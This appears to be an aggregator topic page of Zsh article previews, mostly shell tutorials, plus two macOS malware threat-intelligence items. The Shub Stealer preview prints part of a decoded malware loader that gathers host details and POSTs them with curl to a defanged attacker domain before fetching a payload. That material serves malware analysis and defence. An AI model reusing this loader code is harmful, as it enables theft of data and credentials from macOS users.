# Zsh

Zsh is a shell designed for interactive use and a powerful scripting language.

This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles.

## Zsh: measure command durations with the time command, TIMEFMT, and REPORTTIME

DevFeed: [Zsh: measure command durations with the time command, TIMEFMT, and REPORTTIME](<https://devfeed.tech/articles/zsh-measure-command-durations-with-the-time-command-timefmt-and-reporttime-126493.md>)

Original publisher: [Read original article](<https://adamj.eu/tech/2026/11/09/zsh-time/>)

Author: Adam Johnson

Published: 2026-11-09T00:00:00Z

Content type: article

Language: en

Sources: [Adam Johnson](<https://devfeed.tech/sources/adam-johnson.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [POSIX](<https://devfeed.tech/topics/posix.md>), [Bash](<https://devfeed.tech/topics/bash.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [cpu-time](<https://devfeed.tech/tags/cpu-time.md>), [posix](<https://devfeed.tech/tags/posix.md>), [time](<https://devfeed.tech/tags/time.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

Zsh's built-in `time` reports a command's user and system CPU time, CPU percentage, and elapsed time in one line; its figures have the same meanings as Bash's `real`, `user`, and `sys` values, though Bash formats them across three lines. CPU percentage can help indicate whether a command is computing or waiting, and values above 100% indicate use of multiple cores. Zsh reports pipeline commands separately; wrap a pipeline, multiple commands, a brace group, or a shell function in parentheses to time them together. Customize output with `TIMEFMT`, which can use different time precision and include resource statistics such as maximum memory. The `%M` memory unit differs by OS: the article reports kilobytes on macOS and megabytes on Linux due to a long-standing bug. Set `REPORTTIME` to report commands above a CPU-time threshold; commands that mostly wait may not trigger it.

### Source excerpt

time is a POSIX utility for timing commands. Most shells build it in, and Zsh's version has a lot more to offer than the one in Bash. Put time before a command to time it. For example, to time a Python script: $ time python example.py python example.py ...

## Zsh: glob case-insensitively with the (#i) glob flag and the no\_case\_glob option

DevFeed: [Zsh: glob case-insensitively with the (#i) glob flag and the no\_case\_glob option](<https://devfeed.tech/articles/zsh-glob-case-insensitively-with-the-i-glob-flag-and-the-no-case-glob-option-110591.md>)

Original publisher: [Read original article](<https://adamj.eu/tech/2026/10/30/zsh-case-insensitive-globbing/>)

Author: Adam Johnson

Published: 2026-10-30T00:00:00Z

Content type: article

Language: en

Sources: [Adam Johnson](<https://devfeed.tech/sources/adam-johnson.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>)

Tags: [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

Zsh globs are case-sensitive by default, regardless of whether the filesystem is case-insensitive. For a single pattern, add `(#i)` where case-insensitive matching should begin; it applies through the rest of the pattern, including directory names. This glob flag requires `extended_glob`, which can be enabled in `~/.zshrc`. To make all globs case-insensitive, enable `no_case_glob`; this also matches directory names such as `Photos/` in `photos/*.jpg`. Enable `case_paths` as well if literal directory names should remain case-sensitive. The article notes that `set -o` reports options in their "no" form by default, so `nocaseglob off` indicates case-sensitive globbing.

### Source excerpt

By default, Zsh globs are case-sensitive, so *.jpg matches beach.jpg but not CAT.JPG or dog.Jpg: $ ls photos/*.jpg photos/beach.jpg This is true even on macOS, where the filesystem is case-insensitive by default. Zsh shares this behaviour with Bash, but provides per-glob and global controls to ...

## Zsh: uncover hidden files in globs with (D)

DevFeed: [Zsh: uncover hidden files in globs with (D)](<https://devfeed.tech/articles/zsh-uncover-hidden-files-in-globs-with-d-107281.md>)

Original publisher: [Read original article](<https://adamj.eu/tech/2026/10/29/zsh-d-glob-qualifier/>)

Author: Adam Johnson

Published: 2026-10-29T00:00:00Z

Content type: article

Language: en

Sources: [Adam Johnson](<https://devfeed.tech/sources/adam-johnson.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [dotfiles](<https://devfeed.tech/topics/dotfiles.md>), [ls](<https://devfeed.tech/topics/ls.md>)

Tags: [configuration](<https://devfeed.tech/tags/configuration.md>), [directories](<https://devfeed.tech/tags/directories.md>), [files](<https://devfeed.tech/tags/files.md>), [hidden](<https://devfeed.tech/tags/hidden.md>), [include](<https://devfeed.tech/tags/include.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

By default, Zsh globs skip names beginning with a dot. Add the `(D)` qualifier to include hidden files and directories; it does not match the special `.` or `..` entries. This matters with recursive `**/` globs: `**/*.yml` can miss YAML files under `.github`, while `**/*.yml(D)` includes them. Leaving `(D)` off can also be useful: `**/*.py` skips a hidden virtual-environment directory such as `.venv`, whereas `**/*.py(D)` includes its files.

### Source excerpt

By default, Zsh globs skip hidden files and directories, meaning those with names starting with a dot. For example, in a project directory, * misses all the configuration files and directories: $ ls -d * README.rst generate_pigeon.py To include them, add the (D) glob qualifier, which stands for "dot files": $ ls ...

## Zsh: parse command-line options with zparseopts

DevFeed: [Zsh: parse command-line options with zparseopts](<https://devfeed.tech/articles/zsh-parse-command-line-options-with-zparseopts-105876.md>)

Original publisher: [Read original article](<https://adamj.eu/tech/2026/10/28/zsh-zparseopts/>)

Author: Adam Johnson

Published: 2026-10-28T00:00:00Z

Content type: tutorial

Language: en

Sources: [Adam Johnson](<https://devfeed.tech/sources/adam-johnson.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Shell](<https://devfeed.tech/topics/shell.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>)

Tags: [argument](<https://devfeed.tech/tags/argument.md>), [arguments](<https://devfeed.tech/tags/arguments.md>), [array](<https://devfeed.tech/tags/array.md>), [bash](<https://devfeed.tech/tags/bash.md>), [code](<https://devfeed.tech/tags/code.md>), [command-line](<https://devfeed.tech/tags/command-line.md>), [compatibility](<https://devfeed.tech/tags/compatibility.md>), [function](<https://devfeed.tech/tags/function.md>), [git](<https://devfeed.tech/tags/git.md>), [help](<https://devfeed.tech/tags/help.md>), [options](<https://devfeed.tech/tags/options.md>), [scripts](<https://devfeed.tech/tags/scripts.md>), [shell](<https://devfeed.tech/tags/shell.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

Zsh's `zparseopts` handles short and long command-line options, including options with arguments, and stores parsed values in arrays. The excerpt's `caw` example uses `-D` to remove options from positional parameters, `-E` to allow options after positional arguments, and `-F` to reject unknown options or missing arguments; parsing errors can trigger a usage message, which must be maintained by hand. Options taking arguments use `:`, and repeated values can be read from the array (the example uses the last one); `+` makes an option accumulate. Unlike some command-line parsers, `zparseopts` does not treat `=` specially in `--number=3`, so the equals sign becomes part of the argument and must be stripped explicitly if that form is supported.

### Source excerpt

Sometimes you want your shell scripts to take options, like --verbose or --help, along with any positional arguments. Handling options is fiddly to do by hand, with the traditional portable approach being a large block of code using a while loop, a case statement, and some shifts. Bash has ...

## Zsh: set aside a command with "Escape Q" / push-line

DevFeed: [Zsh: set aside a command with "Escape Q" / push-line](<https://devfeed.tech/articles/zsh-set-aside-a-command-with-escape-q-push-line-66445.md>)

Original publisher: [Read original article](<https://adamj.eu/tech/2026/10/06/zsh-push-line/>)

Author: Adam Johnson

Published: 2026-10-05T23:00:00Z

Content type: tutorial

Language: en

Sources: [Adam Johnson](<https://devfeed.tech/sources/adam-johnson.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Command-line interface](<https://devfeed.tech/topics/cli.md>)

Tags: [branch](<https://devfeed.tech/tags/branch.md>), [checkout](<https://devfeed.tech/tags/checkout.md>), [dx](<https://devfeed.tech/tags/dx.md>), [git](<https://devfeed.tech/tags/git.md>), [pytest](<https://devfeed.tech/tags/pytest.md>), [test](<https://devfeed.tech/tags/test.md>), [tests](<https://devfeed.tech/tags/tests.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The article explains how Zsh's `push-line` widget temporarily saves a command so you can run a setup command first and resume the original command at the next prompt. It recommends binding Escape Q to `push-line-or-edit`, which also handles multiline commands, and describes related Oh My Zsh shortcuts.

### Source excerpt

Do you ever do this? You carefully type out a command, like this pytest one: $ pytest tests/test_checkout.py -k discount --reuse-db -x ...then, just before pressing Enter, you remember that something will stop it from succeeding, like being on the wrong Git branch. What now? Maybe you run the ...

## Zsh: tab complete glob qualifiers

DevFeed: [Zsh: tab complete glob qualifiers](<https://devfeed.tech/articles/zsh-tab-complete-glob-qualifiers-64270.md>)

Original publisher: [Read original article](<https://adamj.eu/tech/2026/10/02/zsh-glob-qualifier-completion/>)

Author: Adam Johnson

Published: 2026-10-02T18:50:00Z

Content type: tutorial

Language: en

Sources: [Adam Johnson](<https://devfeed.tech/sources/adam-johnson.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [friendly interactive shell](<https://devfeed.tech/topics/fish.md>)

Tags: [completion](<https://devfeed.tech/tags/completion.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

Zsh provides tab completion inside glob qualifier parentheses, listing available qualifiers and their descriptions. Further Tab presses can show sort specifiers and filename modifiers. The completion system is enabled by default in many setups; if it is not working, the article suggests enabling it with compinit in ~/.zshrc.

### Source excerpt

I've written a few posts on Zsh's glob qualifiers recently, covering: (om[1]) to select the most recently modified file. (m0) to select files modified today. (e) and + to select files with arbitrary code. (OL) to find the largest files. (n) to sort in natural order. These single-character ...

## Zsh: sort globs in natural order with the (n) glob qualifier

DevFeed: [Zsh: sort globs in natural order with the (n) glob qualifier](<https://devfeed.tech/articles/zsh-sort-globs-in-natural-order-with-the-n-glob-qualifier-62975.md>)

Original publisher: [Read original article](<https://adamj.eu/tech/2026/09/30/zsh-n-glob-qualifier/>)

Author: Adam Johnson

Published: 2026-09-29T23:00:00Z

Content type: tutorial

Language: en

Sources: [Adam Johnson](<https://devfeed.tech/sources/adam-johnson.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>)

Tags: [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

The article explains how to use Zsh's n glob qualifier to sort filenames in natural numeric order. It demonstrates fixing the page order when combining numbered PNG files into a PDF with ImageMagick and mentions enabling natural ordering by default.

### Source excerpt

Globs sort filenames character by character, so numbered files often come out in a surprising order, with 10 before 2. Zsh has a neat fix for this: the n glob qualifier, which applies a "natural" sort, treating any run of digits as a number rather than a string of characters ...

## Zsh: find the largest files with the (OL) glob qualifier

DevFeed: [Zsh: find the largest files with the (OL) glob qualifier](<https://devfeed.tech/articles/zsh-find-the-largest-files-with-the-ol-glob-qualifier-57703.md>)

Original publisher: [Read original article](<https://adamj.eu/tech/2026/09/21/zsh-ol-glob-qualifiers/>)

Author: Adam Johnson

Published: 2026-09-20T23:00:00Z

Content type: tutorial

Language: en

Sources: [Adam Johnson](<https://devfeed.tech/sources/adam-johnson.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Repository](<https://devfeed.tech/topics/repository.md>), [Django](<https://devfeed.tech/topics/django.md>)

Tags: [build](<https://devfeed.tech/tags/build.md>), [django](<https://devfeed.tech/tags/django.md>), [repository](<https://devfeed.tech/tags/repository.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A tutorial on using Zsh glob qualifiers to find and sort the largest files recursively. It demonstrates the technique with the Django source repository and explains qualifiers for file selection, size thresholds, sorting, and limiting results.

### Source excerpt

Got a directory that you want to tidy up bloat from? Whether you're trying to find bad build artifacts in your work repository or clear out old cat videos from your home directory, Zsh's (OL) glob qualifier can help you find the largest files. Using the Django source ...

## Stars ✨

DevFeed: [Stars ✨](<https://devfeed.tech/articles/stars-37876.md>)

Original publisher: [Read original article](<https://carlosbecker.com/stars/>)

Author: Carlos Alexandro Becker

Published: 2026-09-17T09:27:40.952416Z

Content type: article

Language: en

Sources: [Carlos Becker](<https://devfeed.tech/sources/carlos-becker.md>)

Topics: [Repository](<https://devfeed.tech/topics/repository.md>), [Zig](<https://devfeed.tech/topics/zig.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [Ruby on Rails](<https://devfeed.tech/topics/ruby-on-rails.md>), [macOS](<https://devfeed.tech/topics/macos.md>)

Tags: [macos](<https://devfeed.tech/tags/macos.md>), [rails](<https://devfeed.tech/tags/rails.md>), [repositories](<https://devfeed.tech/tags/repositories.md>), [repository](<https://devfeed.tech/tags/repository.md>), [zig](<https://devfeed.tech/tags/zig.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A more-or-less updated list of repository stars across goreleaser, caarlos0, and archived repositories. The page reports 36,404 total stars across 291 repositories.

### Source excerpt

More-or-less updated list of stars on some repositories I work on: goreleaser Repository Stars goreleaser/goreleaser 16052 goreleaser/nfpm 2642 goreleaser/goreleaser-action 1035 goreleaser/chglog 283 goreleaser/goreleaser-cross 193 goreleaser/example-zig-cgo 134 goreleaser/goreleaser-pro 75 goreleaser/fileglob 71 goreleaser/example-supply-chain 61 (40 other repositories with <50 stars) 221 - 20767 caarlos0 Repository Stars caarlos0/env 6309 caarlos0/starcharts 1422 caarlos0/svu 872 caarlos0/dotfiles 221 caarlos0/log 65 caarlos0/pinata 63 (23 other repositories with <50 stars) 216 - 9168 caarlos0-graveyard Repository Stars (2 other repositories with <50 stars) 0 - 0 Archived Repository Stars caarlos0/dotfiles.zsh 702 caarlos0/timer 640 caarlos0-graveyard/nprogress-rails 511 caarlos0/tasktimer 454 goreleaser/godownloader 447 caarlos0/fork-cleaner 371 caarlos0/domain_exporter 346 caarlos0/dotfiles.fish 307 caarlos0/org-stats 245 caarlos0-graveyard/up 140 caarlos0/jsonfmt 113 caarlos0/twitter-cleaner 97 caarlos0-graveyard/jvm 82 caarlos0/clone-org 80 caarlos0/mdtree 70 caarlos0-graveyard/spin 70 caarlos0-graveyard/macOS 70 caarlos0-graveyard/zsh-open-pr 64 caarlos0/parttysh 58 caarlos0/httperr 55 caarlos0/speedtest-exporter 54 caarlos0-graveyard/watchub 54 (189 other repositories with <50 stars) 1439 - 6469 Total: 36404 stars in 291 repositories

## Atomic macOS (AMOS) Stealer Activity

DevFeed: [Atomic macOS (AMOS) Stealer Activity](<https://devfeed.tech/articles/atomic-macos-amos-stealer-activity-30906.md>)

Original publisher: [Read original article](<https://unit42.paloaltonetworks.com/atomic-macos-amos-stealer-activity/>)

Author: Bradley Duncan

Published: 2026-09-16T10:00:06Z

Content type: article

Language: en

Sources: [Unit 42](<https://devfeed.tech/sources/unit-42.md>)

Topics: [Malware](<https://devfeed.tech/topics/malware.md>), [Aeternum](<https://devfeed.tech/topics/aeternum.md>), [macOS](<https://devfeed.tech/topics/macos.md>), [sensitive data](<https://devfeed.tech/topics/sensitive-data.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [ClickFix](<https://devfeed.tech/topics/clickfix.md>), [cURL](<https://devfeed.tech/topics/curl.md>)

Tags: [ads](<https://devfeed.tech/tags/ads.md>), [clickfix](<https://devfeed.tech/tags/clickfix.md>), [credentials](<https://devfeed.tech/tags/credentials.md>), [cryptocurrency](<https://devfeed.tech/tags/cryptocurrency.md>), [curl](<https://devfeed.tech/tags/curl.md>), [general](<https://devfeed.tech/tags/general.md>), [insights](<https://devfeed.tech/tags/insights.md>), [macos](<https://devfeed.tech/tags/macos.md>), [malware](<https://devfeed.tech/tags/malware.md>), [sensitive-data](<https://devfeed.tech/tags/sensitive-data.md>), [threat-intelligence](<https://devfeed.tech/tags/threat-intelligence.md>), [unit-42](<https://devfeed.tech/tags/unit-42.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

This article analyzes a laboratory-generated Atomic macOS (AMOS) stealer infection observed on Aug. 5, 2026. It describes a deceptive macOS toolkit installation page that led users to paste a command into Terminal, retrieving a Zsh script containing an encoded compressed payload and a follow-up script designed to run a Mach-O binary. AMOS targets macOS and can exfiltrate system information, login credentials, and sensitive data from applications including browsers and cryptocurrency wallets.

### Source excerpt

Modern macOS malware uses deceptive setup guides to steal credentials and sensitive user data. Learn how to identify and block these threats. The post Atomic macOS (AMOS) Stealer Activity appeared first on Unit 42.

## Determining if your branch is part of a GitHub Stacked PR

DevFeed: [Determining if your branch is part of a GitHub Stacked PR](<https://devfeed.tech/articles/determining-if-your-branch-is-part-of-a-github-stacked-pr-53099.md>)

Original publisher: [Read original article](<https://www.jvt.me/posts/2026/08/26/zsh-stacked-pr/>)

Author: Jamie Tanna

Published: 2026-08-26T14:41:41Z

Content type: tutorial

Language: en

Sources: [Jamie Tanna](<https://devfeed.tech/sources/articles-on-jamie-tanna-software-engineer.md>)

Topics: [GitHub](<https://devfeed.tech/topics/github.md>), [Pull Request](<https://devfeed.tech/topics/pull-request.md>), [Git](<https://devfeed.tech/topics/git.md>), [software-development](<https://devfeed.tech/topics/software-development.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>), [file](<https://devfeed.tech/topics/file.md>), [Repository](<https://devfeed.tech/topics/repository.md>)

Tags: [blogumentation](<https://devfeed.tech/tags/blogumentation.md>), [branch](<https://devfeed.tech/tags/branch.md>), [git](<https://devfeed.tech/tags/git.md>), [github](<https://devfeed.tech/tags/github.md>), [jq](<https://devfeed.tech/tags/jq.md>), [position](<https://devfeed.tech/tags/position.md>), [shell-scripting](<https://devfeed.tech/tags/shell-scripting.md>), [stacked-prs](<https://devfeed.tech/tags/stacked-prs.md>), [sync](<https://devfeed.tech/tags/sync.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A post explains how to detect whether the current Git branch belongs to a GitHub stacked pull request and display its position in a zsh prompt. It uses cached stack data and notes that the display can become stale until GitHub's stack synchronization command is run.

### Source excerpt

🤖 This post includes some LLM-derived content 🤖 Since the availability of GitHub's Stacked PRs finally landing for repositories that use a Merge Queue, I've been "kicking the tyres" with some of my contributions to Renovate. They're working mostly well so far, but I'm finding it a bit annoying trying to remember if I'm on a branch that's part of a stack. I'd started wiring this into my zsh config, still using Grml's zsh config as a base, and found it was a bit awkward. I decided to outsource it to Claude Sonnet 5 - cause I guess that's the sort of person I am now? 😅 - and it came out with this: # in case you're working in a Git worktree git_common_dir="$(git rev-parse --git-dir >/dev/null)" stack_file="$git_common_dir/gh-stack" position="$(jq -r --arg b "$(git branch --show-current)" ' .stacks[] | select(.branches[]?.branch == $b) | (.branches | map(.branch)) as $names | ($names | index($b)) as $idx | "\($idx + 1)/\($names | length)" ' "$stack_file" 2>/dev/null | head -n1)" echo "$position" # outputs i.e. `x/y` or `` if not in a stack I end up wiring this into my zsh prompt to show a 🥞 1/3 indicator like so: This works quite nicely, but I've found that it doesn't always stay in sync with GitHub. If a branch has been merged, but you've not yet run gh stack sync, you'll show as still on a stack. However, you can't run gh stack sync without being on a stacked branch, so your cached data may be out-of-sync until that's fixed.

## Zsh: manipulate filenames with modifiers like :r (root) and :e (extension)

DevFeed: [Zsh: manipulate filenames with modifiers like :r (root) and :e (extension)](<https://devfeed.tech/articles/zsh-manipulate-filenames-with-modifiers-like-r-root-and-e-extension-51101.md>)

Original publisher: [Read original article](<https://adamj.eu/tech/2026/08/24/zsh-filename-modifiers/>)

Author: Adam Johnson

Published: 2026-08-23T23:00:00Z

Content type: tutorial

Language: en

Sources: [Adam Johnson](<https://devfeed.tech/sources/adam-johnson.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Code](<https://devfeed.tech/topics/code.md>), [Bash](<https://devfeed.tech/topics/bash.md>), [ImageMagick](<https://devfeed.tech/topics/imagemagick.md>)

Tags: [bash](<https://devfeed.tech/tags/bash.md>), [build](<https://devfeed.tech/tags/build.md>), [command](<https://devfeed.tech/tags/command.md>), [files](<https://devfeed.tech/tags/files.md>), [imagemagick](<https://devfeed.tech/tags/imagemagick.md>), [images](<https://devfeed.tech/tags/images.md>), [loops](<https://devfeed.tech/tags/loops.md>), [variable](<https://devfeed.tech/tags/variable.md>), [variables](<https://devfeed.tech/tags/variables.md>), [zsh](<https://devfeed.tech/tags/zsh.md>)

### AI overview

A tutorial on using Zsh filename modifiers such as :r for removing extensions and :e for extracting them, including chaining modifiers and applying them in a loop that converts PNG images to WebP with ImageMagick.

### Source excerpt

Zsh modifiers are a family of suffixes that transform words as they're expanded. Several of them are dedicated to slicing up filenames, replacing fiddly calls to dirname, basename, and friends. Let's take a look at them now! The filename modifiers Four modifiers cover most filename manipulation. Take this ...

## First Steps on a New Server

DevFeed: [First Steps on a New Server](<https://devfeed.tech/articles/first-steps-on-a-new-server-60975.md>)

Original publisher: [Read original article](<https://david.alvarezrosa.com/posts/first-steps-on-a-new-server/>)

Author: David Álvarez Rosa

Published: 2026-05-17T16:26:00Z

Content type: tutorial

Language: en

Sources: [David Álvarez Rosa](<https://devfeed.tech/sources/david-alvarez-rosa.md>)

Topics: [Back end](<https://devfeed.tech/topics/backend.md>), [ssh](<https://devfeed.tech/topics/ssh.md>), [Zsh](<https://devfeed.tech/topics/zsh.md>)

Tags: [debian](<https://devfeed.tech/tags/debian.md>), [dns](<https://devfeed.tech/tags/dns.md>), [linux](<https://devfeed.tech/tags/linux.md>), [password](<https://devfeed.tech/tags/password.md>), [self-hosting](<https://devfeed.tech/tags/self-hosting.md>), [servers](<https://devfeed.tech/tags/servers.md>), [ssh](<https://devfeed.tech/tags/ssh.md>), [starship](<https://devfeed.tech/tags/starship.md>)

### AI overview

A practical checklist for setting up a new Linux server covers choosing a distribution, configuring DNS, creating a non-root account, setting up shell dotfiles and SSH keys, enabling firewall rules and security updates, and confirming nginx and HTTPS work.

### Source excerpt

Over the last decade I've been playing with dozens of servers from multiple providers. These are the steps I've been perfecting to get up to speed fast and feel right at home on a new machine. Wrote it down here mostly as a personal reference, but hopefully useful to someone else too. Hardware, distro, and DNS § Clean Linux install with one large root partition plus big swap.1 While I run Arch on my laptop, Debian tends to be a better fit for servers because of its stability and long support window. Point your domain2 to your server's IP at your DNS provider: an A record for IPv4 and an AAAA record for IPv6. Wait a few minutes, then verify both. $ dig alvarezrosa.com A +short 213.32.19.229 $ dig alvarezrosa.com AAAA +short 2001:41d0:305:2100::febc Hardware doesn't matter: a VPS, a Raspberry Pi, or a dedicated box will do. First login § Log in as root, change the password, and update. $ ssh root@alvarezrosa.com $ passwd $ apt update && apt full-upgrade Create a non-root user with sudo privileges. $ useradd --create-home --groups sudo david $ passwd david Log out, then reconnect as the new user. $ ssh david@alvarezrosa.com From here on, stay on this account and use sudo when you need it. Dotfiles § I like to set up dotfiles early. Debugging on an unfamiliar shell is its own kind of miserable.3 $ git init $ git remote add origin https://github.com/david-alvarez-rosa/dotfiles.git $ git fetch origin $ git checkout -t origin/main $ git submodule update --init --recursive $ git config status.showUntrackedFiles no Switch to zsh and install starship.4 $ sudo apt install zsh starship $ chsh --shell $(which zsh) Log out and back in to confirm the shell loads correctly. SSH keys § Copy your public key to the server from your local machine.5 $ ssh-copy-id david@alvarezrosa.com Confirm you can get in without a password. $ ssh david@alvarezrosa.com If you need root access over SSH, install the key there too. $ sudo install -d -m 700 /root/.ssh $ sudo install -m 600 ~/.ssh/authoriz

## Shub Stealers Fake Crypto Apps

DevFeed: [Shub Stealers Fake Crypto Apps](<https://devfeed.tech/articles/shub-stealers-fake-crypto-apps-22545.md>)

Original publisher: [Read original article](<https://medium.com/walmartglobaltech/shub-stealers-fake-crypto-apps-d5e2a65618b7?source=rss----905ea2b3d4d1---4>)

Author: Jason Reaves

Published: 2026-04-06T17:34:44Z

Content type: news

Language: en

Sources: [Walmart Global Tech](<https://devfeed.tech/sources/walmart-global-tech.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [cURL](<https://devfeed.tech/topics/curl.md>), [macOS](<https://devfeed.tech/topics/macos.md>), [plist](<https://devfeed.tech/topics/plist.md>)

Tags: [also](<https://devfeed.tech/tags/also.md>), [api](<https://devfeed.tech/tags/api.md>), [application](<https://devfeed.tech/tags/application.md>), [apps](<https://devfeed.tech/tags/apps.md>), [block](<https://devfeed.tech/tags/block.md>), [build](<https://devfeed.tech/tags/build.md>), [chrome](<https://devfeed.tech/tags/chrome.md>), [content](<https://devfeed.tech/tags/content.md>), [content-type](<https://devfeed.tech/tags/content-type.md>), [crypto](<https://devfeed.tech/tags/crypto.md>), [curl](<https://devfeed.tech/tags/curl.md>), [debug](<https://devfeed.tech/tags/debug.md>), [decoding](<https://devfeed.tech/tags/decoding.md>), [echo](<https://devfeed.tech/tags/echo.md>), [event](<https://devfeed.tech/tags/event.md>), [exit](<https://devfeed.tech/tags/exit.md>), [fake](<https://devfeed.tech/tags/fake.md>), [function](<https://devfeed.tech/tags/function.md>), [https](<https://devfeed.tech/tags/https.md>), [info](<https://devfeed.tech/tags/info.md>), [infosec](<https://devfeed.tech/tags/infosec.md>), [macos](<https://devfeed.tech/tags/macos.md>), [malware](<https://devfeed.tech/tags/malware.md>), [reverse-engineering](<https://devfeed.tech/tags/reverse-engineering.md>)

### AI overview

The Shub Stealer excerpt describes a macOS shell loader that checks whether the keyboard input sources include Russian, gathers locale, hostname, OS version, and external IP information, then reports a blocked or loader-requested event. It fetches an AppleScript payload, which records system details and entered credentials. The article focuses on fake Exodus, Atomic, Ledger, Ledger Live, and Trezor apps: their code sends wallet passphrases, mnemonic phrases, or recovery seeds to a shared injection endpoint. The Trezor app presents the seed request as a critical security update; Ledger uses a fake recovery flow. The excerpt says the broader stealer functionality resembles other macOS malware variants, but provides no further comparison.

### Source excerpt

By: Jason Reaves Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately. Shell script: fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd After decoding however it is a bit different as it includes a number of checks: #!/bin/zsh # Debug loader -- detect CIS and block with telemetry IS_CIS="false" if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then IS_CIS="true" fi # Detect locale info -- sanitize for JSON LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown") HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown") OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown") EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2>/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2>/dev/null || echo "unknown") EXT_IP=$(echo "$EXT_IP" | tr -d ' ') # Build JSON safely using printf send_debug_event() { local EVT="$1" local JSON=$(printf '{"event":"%s","build_hash":"%s","ip":"%s","is_cis":"%s","locale":"%s","hostname":"%s","os_version":"%s"}' "$EVT" "" "$EXT_IP" "$IS_CIS" "$LOCALE_INFO" "$HOSTNAME" "$OS_VER") curl -s -X POST "hxxps://coco2-hram[.]com/api/debug/event" -H "Content-Type: application/json" -d "$JSON" --max-time 5 >/dev/null 2>&1 } # If CIS -- send cis_blocked event and exit if [ "$IS_CIS" = "true" ]; then send_debug_event "cis_blocked" >/dev/null 2>&1 exit 0 fi # Not CIS -- send loader_requested event send_debug_event "loader_requested" >/dev/null 2>&1 & daemon_function() { exec </dev/null exec >/dev/null exec 2>/dev/null curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Sa

## Zsh 'illegal modifier' with Git Conventional Commits

DevFeed: [Zsh 'illegal modifier' with Git Conventional Commits](<https://devfeed.tech/articles/zsh-illegal-modifier-with-git-conventional-commits-27738.md>)

Original publisher: [Read original article](<https://gagor.pro/2025/12/zsh-illegal-modifier-with-git-conventional-commits/>)

Author: Tom

Published: 2025-12-19T00:00:00Z

Content type: tutorial

Language: en

Sources: [Tomasz Gągor](<https://devfeed.tech/sources/tomasz-gagor.md>)

Topics: [Zsh](<https://devfeed.tech/topics/zsh.md>), [Git](<https://devfeed.tech/topics/git.md>)

Tags: [command-line-tip](<https://devfeed.tech/tags/command-line-tip.md>), [commit](<https://devfeed.tech/tags/commit.md>), [conventional-commits](<https://devfeed.tech/tags/conventional-commits.md>), [errors](<https://devfeed.tech/tags/errors.md>), [fzf](<https://devfeed.tech/tags/fzf.md>), [git](<https://devfeed.tech/tags/git.md>), [git-commit-error](<https://devfeed.tech/tags/git-commit-error.md>), [github-action](<https://devfeed.tech/tags/github-action.md>), [history-expansion](<https://devfeed.tech/tags/history-expansion.md>), [linux](<https://devfeed.tech/tags/linux.md>), [macos](<https://devfeed.tech/tags/macos.md>), [no-bang-hist](<https://devfeed.tech/tags/no-bang-hist.md>), [shell-configuration](<https://devfeed.tech/tags/shell-configuration.md>), [zsh](<https://devfeed.tech/tags/zsh.md>), [zsh-bang-history](<https://devfeed.tech/tags/zsh-bang-history.md>)

### AI overview

This tutorial explains how Zsh history expansion can cause "illegal modifier" errors when using Git Conventional Commits. It shows how disabling the NO_BANG_HIST option allows bang characters to be used in quoted commit messages.

### Source excerpt

Fix ZSH 'illegal modifier' errors with Git Conventional Commits by disabling the NO_BANG_HIST option.

## How to add a directory to your PATH

DevFeed: [How to add a directory to your PATH](<https://devfeed.tech/articles/how-to-add-a-directory-to-your-path-21118.md>)

Original publisher: [Read original article](<https://jvns.ca/blog/2025/02/13/how-to-add-a-directory-to-your-path/>)

Author: Julia Evans

Published: 2025-02-13T12:27:56Z

Content type: tutorial

Language: en

Sources: [Julia Evans](<https://devfeed.tech/sources/julia-evans.md>)

